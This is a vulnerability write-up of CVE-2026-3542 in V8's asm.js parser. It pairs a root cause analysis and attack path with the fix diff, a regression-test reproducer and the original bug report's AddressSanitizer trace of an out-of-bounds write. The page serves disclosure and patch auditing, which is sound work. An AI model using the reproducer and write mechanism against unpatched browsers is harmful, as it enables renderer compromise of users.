PatchGap
Chrome · WebAssembly

CVE-2026-3542

Logic Error in WebAssembly
High chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in WebAssembly
DescriptionInappropriate implementation in WebAssembly
ComponentWebAssembly
Bug ClassLogic Error
Tracker485152421
Fix commitc0a41078e69f (v8/v8) +23/-1
CISA KEVNot listed
Creditedqymag1c
Disclosed2026-03-03

Background

asm.js
A strictly-typed subset of JavaScript that V8 ahead-of-time translates into a WebAssembly module for faster execution.
`heap_access_shift_position_`
A parser member in AsmJsParser that records where a shift-by-constant appeared so a typed-array index like HEAP32[a >> 2] can be validated and lowered to a correctly scaled memory access.
`kNoHeapAccessShift`
A sentinel value meaning “no pending heap-access shift is currently tracked,” used to clear heap_access_shift_position_.
`AsmType::Intish`
The asm.js type for an integer-valued intermediate result that is a legal operand for bitwise and shift operators.

Root Cause Analysis

The vulnerable path is the shift-operator handling in AsmJsParser in asm-parser.cc, where the HANDLE_CASE macro implements <<, >>, and >>>. The macro reset heap_access_shift_position_ = kNoHeapAccessShift before calling RECURSE(b = AdditiveExpression()), but the right-hand operand can itself contain another shift used as a heap index (as in HEAP32[a << (b >> 2) + ...]), so the recursive parse would set heap_access_shift_position_ and leave that stale inner state visible to the outer expression. The invariant violated is that after a shift operand is fully consumed, no leftover heap-access-shift state should bleed into the enclosing context. Because the reset happened too early, the nested shift’s tracking survived and mis-guided the code generator into scaling or validating an access incorrectly, producing an invalid Wasm module.

The fix moves the reset to after the RECURSE call, so it clears exactly the state the recursion may have left behind, restoring the clean invariant before parsing continues.

Key insight
The single mistake was ordering the state reset before the recursive descent instead of after it, so a nested shift expression’s heap_access_shift_position_ leaked into the outer parse; moving the assignment to run after RECURSE(AdditiveExpression()) guarantees the recursion’s transient state is always unset.

Attack Path

  1. Craft nested shift in a heap index An attacker authors an asm.js module whose typed-array store uses a shift with a nested shift inside its index, such as HEAP32[a << (b >> 2) + ~~+g()] = c.
  2. Trigger stale shift state Parsing the outer << clears heap_access_shift_position_ too early, then the inner >> 2 sets it, and that stale value survives back into the outer heap-access handling.
  3. Emit an invalid/mis-scaled module The translator generates Wasm bytecode with an incorrectly tracked heap-access shift, yielding a module whose memory access does not match asm.js validation intent.
  4. Execute the malformed module The generated module runs with the incorrect access semantics, diverging from the type-checked source expectations.

Impact Assessment

An attacker who can serve JavaScript gains generation of an incorrectly translated WebAssembly module inside the V8 renderer process, where the emitted heap access no longer matches the validated asm.js semantics. The precondition is that the page supply an asm.js module that is accepted by the translator and contains a shift-operator expression nested within another shift used as a heap index. The consequence is inappropriate WebAssembly implementation behavior (an invalid or mis-scaled module); the metadata rates this high severity but supplies no CVSS or specific memory-corruption primitive.

Files Changed

  • src/asmjs/asm-parser.cc
  • test/mjsunit/regress/wasm/regress-485152421.js

Audit Directions

  • State reset ordering around recursion
    Audit every place a parser member is cleared to a sentinel near a RECURSE/recursive-descent call, confirming the reset runs after the sub-parse rather than before it.
  • Cross-recursion leakage of index/shift tracking
    Review other AsmJsParser members like heap_access_shift_position_ for values that must be scoped to a single subexpression but could survive nested parses.
  • Nested operator fuzzing
    Fuzz asm.js and Wasm translation with deeply nested shift and bitwise operators embedded inside typed-array index expressions to surface stale per-expression parser state.

Patch

view commit
From c0a41078e69f23668c8d34c61f286a1b5b211f19 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <[email protected]>
Date: Fri, 20 Feb 2026 15:12:18 +0100
Subject: [PATCH] [asm.js] Fix reset of heap_access_shift_position_

It could get confused by nested shift expressions, leading to
invalid Wasm modules being generated.

Fixed: 485152421
Change-Id: I19313a7c26c340cbff269d885599ffe00edf7f8f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7594777
Commit-Queue: Clemens Backes <[email protected]>
Reviewed-by: Clemens Backes <[email protected]>
Auto-Submit: Jakob Kummerow <[email protected]>
Cr-Commit-Position: refs/heads/main@{#105370}
---

diff --git a/src/asmjs/asm-parser.cc b/src/asmjs/asm-parser.cc
index bfc0b82..d14b050 100644
--- a/src/asmjs/asm-parser.cc
+++ b/src/asmjs/asm-parser.cc
@@ -1892,7 +1892,6 @@
 #define HANDLE_CASE(op, opcode, name, result)                        \
   case TOK(op): {                                                    \
     EXPECT_TOKENn(TOK(op));                                          \
-    heap_access_shift_position_ = kNoHeapAccessShift;                \
     AsmType* b = nullptr;                                            \
     RECURSEn(b = AdditiveExpression());                              \
     if (!(a->IsA(AsmType::Intish()) && b->IsA(AsmType::Intish()))) { \
@@ -1900,6 +1899,8 @@
     }                                                                \
     current_function_builder_->Emit(kExpr##opcode);                  \
     a = AsmType::result();                                           \
+    /* Must happen after the RECURSE call to unset its state! */     \
+    heap_access_shift_position_ = kNoHeapAccessShift;                \
     continue;                                                        \
   }
         HANDLE_CASE(SHL, I32Shl, "<<", Signed);
diff --git a/test/mjsunit/regress/wasm/regress-485152421.js b/test/mjsunit/regress/wasm/regress-485152421.js
new file mode 100644
index 0000000..944a3ec
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-485152421.js
@@ -0,0 +1,21 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function AsmModule(stdlib, foreign, heap) {
+  "use asm";
+  var HEAP32 = new stdlib.Int32Array(heap);
+  function g() { return 1.25; }
+  function f(a,b,c) {
+    a = a | 0;
+    b = b | 0;
+    c = c | 0;
+    HEAP32[a << (b >> 2) + ~~+g()] = c;
+    return c | 0;
+  }
+  return {f:f};
+}
+
+var heap = new ArrayBuffer(0x10000);
+var m = AsmModule({Int32Array:Int32Array}, {}, heap);
+assertEquals(3, m.f(1,2,3));
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/wasm/regress-485152421.js b/test/mjsunit/regress/wasm/regress-485152421.js
new file mode 100644
index 0000000..944a3ec
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-485152421.js
@@ -0,0 +1,21 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function AsmModule(stdlib, foreign, heap) {
+  "use asm";
+  var HEAP32 = new stdlib.Int32Array(heap);
+  function g() { return 1.25; }
+  function f(a,b,c) {
+    a = a | 0;
+    b = b | 0;
+    c = c | 0;
+    HEAP32[a << (b >> 2) + ~~+g()] = c;
+    return c | 0;
+  }
+  return {f:f};
+}
+
+var heap = new ArrayBuffer(0x10000);
+var m = AsmModule({Int32Array:Int32Array}, {}, heap);
+assertEquals(3, m.f(1,2,3));
Loading diff…

Original Bug Report

reported by [email protected]

use-after-poison write in WasmFunctionBuilder::WriteBody

Steps to reproduce the problem

ran with: asan/d8 poc.js

Problem Description

  1. The parser uses shared mutable state for heap-access shift recognition:
  • heap_access_shift_position_ / heap_access_shift_value_ in src/asmjs/asm-parser.h:235.
  • In ShiftExpression, a >> imm pattern stores a code position (old_code) into heap_access_shift_position_ (src/asmjs/asm-parser.cc:1853, src/asmjs/asm-parser.cc:1879).
  1. The crafted expression causes stale shift metadata to survive from a nested subexpression:
  • For << / >>>, the macro clears the state before parsing RHS (src/asmjs/asm-parser.cc:1895).
  • But recursive parsing of nested pieces can set it again, and it is later consumed as if it described the full heap index expression.
  • In this PoC family, the accepted shift metadata points to an earlier nested location, not the true final boundary of emitted code.
  1. Heap-access validation then truncates generated wasm bytes to that stale position:
  • ValidateHeapAccess checks shift metadata and calls DeleteCodeAfter(heap_access_shift_position_) (src/asmjs/asm-parser.cc:2478, src/asmjs/asm-parser.cc:2488).
  • DeleteCodeAfter only truncates body_ (src/wasm/wasm-module-builder.cc:386), i.e. body_.Truncate(position).
  1. Metadata/body desynchronization occurs:
  • Direct calls emitted earlier/later in the parser are tracked in direct_calls_ via EmitDirectCallIndex (src/wasm/wasm-module-builder.cc:337).
  • Truncation does not prune stale direct_calls_ entries whose offsets are now beyond truncated body_.size().
  1. Serialization phase patches stale offsets without bounds checks:
  • WriteBody writes truncated bytes, then iterates all direct_calls_ and patches call immediates (src/wasm/wasm-module-builder.cc:395, src/wasm/wasm-module-builder.cc:406).
  • patch_u32v performs raw writes at buffer_ + offset (src/wasm/wasm-module-builder.h:116) with no validation against current logical size.

Summary

use-after-poison write in WasmFunctionBuilder::WriteBody

Custom Questions

Type of crash:

tab

Crash state:

=================================================================
==4137647==ERROR: AddressSanitizer: use-after-poison on address 0x6efc01214d78 at pc 0x629b328ff38b bp 0x7ffe611212f0 sp 0x7ffe611212e8
WRITE of size 1 at 0x6efc01214d78 thread T0
    #0 0x629b328ff38a in patch_u32v src/wasm/wasm-module-builder.h
    #1 0x629b328ff38a in v8::internal::wasm::WasmFunctionBuilder::WriteBody(v8::internal::wasm::ZoneBuffer*) const src/wasm/wasm-module-builder.cc:406:15
    #2 0x629b3290d132 in v8::internal::wasm::WasmModuleBuilder::WriteTo(v8::internal::wasm::ZoneBuffer*) const src/wasm/wasm-module-builder.cc:970:17
    #3 0x629b324d9827 in v8::internal::AsmJsCompilationJob::ExecuteJobImpl() src/asmjs/asm-js.cc:253:28
    #4 0x629b3062e9f0 in ExecuteJob src/codegen/compiler.cc:378:22
    #5 0x629b3062e9f0 in v8::internal::(anonymous namespace)::ExecuteSingleUnoptimizedCompilationJob(v8::internal::ParseInfo*, v8::internal::FunctionLiteral*, v8::internal::Handle<v8::internal::Script>, v8::internal::AccountingAllocator*, std::__Cr::vector<v8::internal::FunctionLiteral*, std::__Cr::allocator<v8::internal::FunctionLiteral*>>*, v8::internal::LocalIsolate*) src/codegen/compiler.cc:820:18
    #6 0x629b3060c581 in bool v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>, v8::internal::ParseInfo*, v8::internal::AccountingAllocator*, v8::internal::IsCompiledScope*, std::__Cr::vector<v8::internal::FinalizeUnoptimizedCompilationData, std::__Cr::allocator<v8::internal::FinalizeUnoptimizedCompilationData>>*, std::__Cr::vector<v8::internal::DeferredFinalizationJobData, std::__Cr::allocator<v8::internal::DeferredFinalizationJobData>>*) src/codegen/compiler.cc:868:9
    #7 0x629b3060a8d1 in v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*, v8::internal::CreateSourcePositions) src/codegen/compiler.cc:3043:8
    #8 0x629b3060d1f1 in v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*) src/codegen/compiler.cc:3098:8
    #9 0x629b319a1cbd in __RT_impl_Runtime_CompileLazy src/runtime/runtime-compiler.cc:88:8
    #10 0x629b319a1cbd in v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*) src/runtime/runtime-compiler.cc:69:1
    #11 0x629b3527bfb5 in Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit setup-isolate-deserialize.cc
    #12 0x629b351cbd5c in Builtins_CompileLazy setup-isolate-deserialize.cc
    #13 0x629b351ca83b in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
    #14 0x629b351c75db in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
    #15 0x629b351c732a in Builtins_JSEntry setup-isolate-deserialize.cc
    #16 0x629b307cf906 in Call src/execution/simulator.h:216:12
    #17 0x629b307cf906 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/execution.cc:442:22
    #18 0x629b307d0d88 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
    #19 0x629b304488eb in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:2029:7
    #20 0x629b3009c287 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1037:44
    #21 0x629b300d46f9 in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5614:10
    #22 0x629b300e0c2d in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6633:37
    #23 0x629b300e0065 in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6541:18
    #24 0x629b300e3747 in v8::Shell::Main(int, char**) src/d8/d8.cc:7452:18
    #25 0x70ac0202a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #26 0x70ac0202a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #27 0x629b2ff91029 in _start (/home/qy/new/v8/v8/out/x64.asan/d8+0x1326029) (BuildId: 379a278a90cb36d0)

0x6efc01214d78 is located 1144 bytes inside of 8192-byte region [0x6efc01214900,0x6efc01216900)
allocated by thread T0 here:
    #0 0x629b30033344 in malloc (/home/qy/new/v8/v8/out/x64.asan/d8+0x13c8344) (BuildId: 379a278a90cb36d0)
    #1 0x629b31b76851 in Malloc src/base/platform/memory.h:44:10
    #2 0x629b31b76851 in AllocateAtLeast<char> src/base/platform/memory.h:146:34
    #3 0x629b31b76851 in v8::internal::AllocAtLeastWithRetry(unsigned long) src/utils/allocation.cc:138:14
    #4 0x629b31b81e03 in v8::internal::AccountingAllocator::AllocateSegment(unsigned long) src/zone/accounting-allocator.cc:121:14
    #5 0x629b31b8577f in v8::internal::Zone::Expand(unsigned long) src/zone/zone.cc:178:34
    #6 0x629b31b8565a in v8::internal::Zone::AsanNew(unsigned long) src/zone/zone.cc:52:5
    #7 0x629b30d62dcb in Allocate<v8::internal::FeedbackSlotKind[]> src/zone/zone.h:57:12
    #8 0x629b30d62dcb in AllocateArray<v8::internal::FeedbackSlotKind, v8::internal::FeedbackSlotKind[]> src/zone/zone.h:127:28
    #9 0x629b30d62dcb in v8::internal::ZoneVector<v8::internal::FeedbackSlotKind>::Grow(unsigned long) src/zone/zone-containers.h:489:20
    #10 0x629b30d62b54 in EnsureCapacity src/zone/zone-containers.h:415:5
    #11 0x629b30d62b54 in reserve src/zone/zone-containers.h:247:34
    #12 0x629b30d62b54 in FeedbackVectorSpec src/objects/feedback-vector.h:521:17
    #13 0x629b30d62b54 in v8::internal::UnoptimizedCompilationInfo::UnoptimizedCompilationInfo(v8::internal::Zone*, v8::internal::ParseInfo*, v8::internal::FunctionLiteral*) src/codegen/unoptimized-compilation-info.cc:24:7
    #14 0x629b324daf1f in AsmJsCompilationJob src/asmjs/asm-js.cc:199:9
    #15 0x629b324daf1f in make_unique<v8::internal::AsmJsCompilationJob, v8::internal::ParseInfo *&, v8::internal::FunctionLiteral *&, v8::internal::AccountingAllocator *&, 0> gen/third_party/libc++/src/include/__memory/unique_ptr.h:756:30
    #16 0x629b324daf1f in v8::internal::AsmJs::NewCompilationJob(v8::internal::ParseInfo*, v8::internal::FunctionLiteral*, v8::internal::AccountingAllocator*) src/asmjs/asm-js.cc:308:10
    #17 0x629b3062e96b in v8::internal::(anonymous namespace)::ExecuteSingleUnoptimizedCompilationJob(v8::internal::ParseInfo*, v8::internal::FunctionLiteral*, v8::internal::Handle<v8::internal::Script>, v8::internal::AccountingAllocator*, std::__Cr::vector<v8::internal::FunctionLiteral*, std::__Cr::allocator<v8::internal::FunctionLiteral*>>*, v8::internal::LocalIsolate*) src/codegen/compiler.cc:819:9
    #18 0x629b3060c581 in bool v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>, v8::internal::ParseInfo*, v8::internal::AccountingAllocator*, v8::internal::IsCompiledScope*, std::__Cr::vector<v8::internal::FinalizeUnoptimizedCompilationData, std::__Cr::allocator<v8::internal::FinalizeUnoptimizedCompilationData>>*, std::__Cr::vector<v8::internal::DeferredFinalizationJobData, std::__Cr::allocator<v8::internal::DeferredFinalizationJobData>>*) src/codegen/compiler.cc:868:9
    #19 0x629b3060a8d1 in v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*, v8::internal::CreateSourcePositions) src/codegen/compiler.cc:3043:8
    #20 0x629b3060d1f1 in v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*) src/codegen/compiler.cc:3098:8
    #21 0x629b319a1cbd in __RT_impl_Runtime_CompileLazy src/runtime/runtime-compiler.cc:88:8
    #22 0x629b319a1cbd in v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*) src/runtime/runtime-compiler.cc:69:1
    #23 0x629b3527bfb5 in Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit setup-isolate-deserialize.cc
    #24 0x629b351cbd5c in Builtins_CompileLazy setup-isolate-deserialize.cc
    #25 0x629b351ca83b in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
    #26 0x629b351c75db in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
    #27 0x629b351c732a in Builtins_JSEntry setup-isolate-deserialize.cc
    #28 0x629b307cf906 in Call src/execution/simulator.h:216:12
    #29 0x629b307cf906 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/execution.cc:442:22
    #30 0x629b307d0d88 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
    #31 0x629b304488eb in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:2029:7
    #32 0x629b3009c287 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1037:44
    #33 0x629b300d46f9 in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5614:10
    #34 0x629b300e0c2d in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6633:37
    #35 0x629b300e0065 in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6541:18
    #36 0x629b300e3747 in v8::Shell::Main(int, char**) src/d8/d8.cc:7452:18
    #37 0x70ac0202a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #38 0x70ac0202a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #39 0x629b2ff91029 in _start (/home/qy/new/v8/v8/out/x64.asan/d8+0x1326029) (BuildId: 379a278a90cb36d0)

SUMMARY: AddressSanitizer: use-after-poison src/wasm/wasm-module-builder.h in patch_u32v
Shadow bytes around the buggy address:
  0x6efc01214a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x6efc01214d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f7]
  0x6efc01214d80: f7 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x6efc01214f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

NOTE: the stack trace above identifies the code that *accessed* the poisoned memory.
To identify the code that *poisoned* the memory, try the experimental setting ASAN_OPTIONS=poison_history_size=<size>.
==4137647==ABORTING

Reporter credit:

QYmag1c

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

View on issue tracker
On This Page